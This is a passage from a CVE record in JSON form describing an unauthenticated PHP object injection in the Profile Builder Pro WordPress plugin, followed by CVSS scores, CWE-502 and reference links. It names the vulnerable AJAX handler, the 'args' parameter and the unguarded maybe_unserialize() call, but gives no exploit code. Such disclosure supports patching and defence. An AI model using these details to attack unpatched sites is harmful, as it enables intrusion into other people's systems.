This is due to the use of PHP's maybe_unserialize() function on the attacker-controlled 'args' POST parameter within the wppb_request_users_pins_action_callback() AJAX handler, which lacked any nonce verification, type checking, or input validation before deserialization. Because the handler was registered with both wp_ajax_ and wp_ajax_nopriv_ hooks, it was reachable by completely unauthenticated users. This makes it possible for unauthenticated attackers to inject arbitrary PHP objects into application memory."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/profile-builder-pro/tags/3.14.5/add-ons/user-listing/one-map-listing.php#L13", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/profile-builder-pro/tags/3.14.5/add-ons/user-listing/one-map-listing.php#L271", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/profile-builder-pro/trunk/add-ons/user-listing/one-map-listing.php#L13", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/profile-builder-pro/trunk/add-ons/user-listing/one-map-listing.php#L271", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c7b897f5-f988-4515-83bc-456f041d7e2e?source=cve", "source": "[email protected]"}]}}
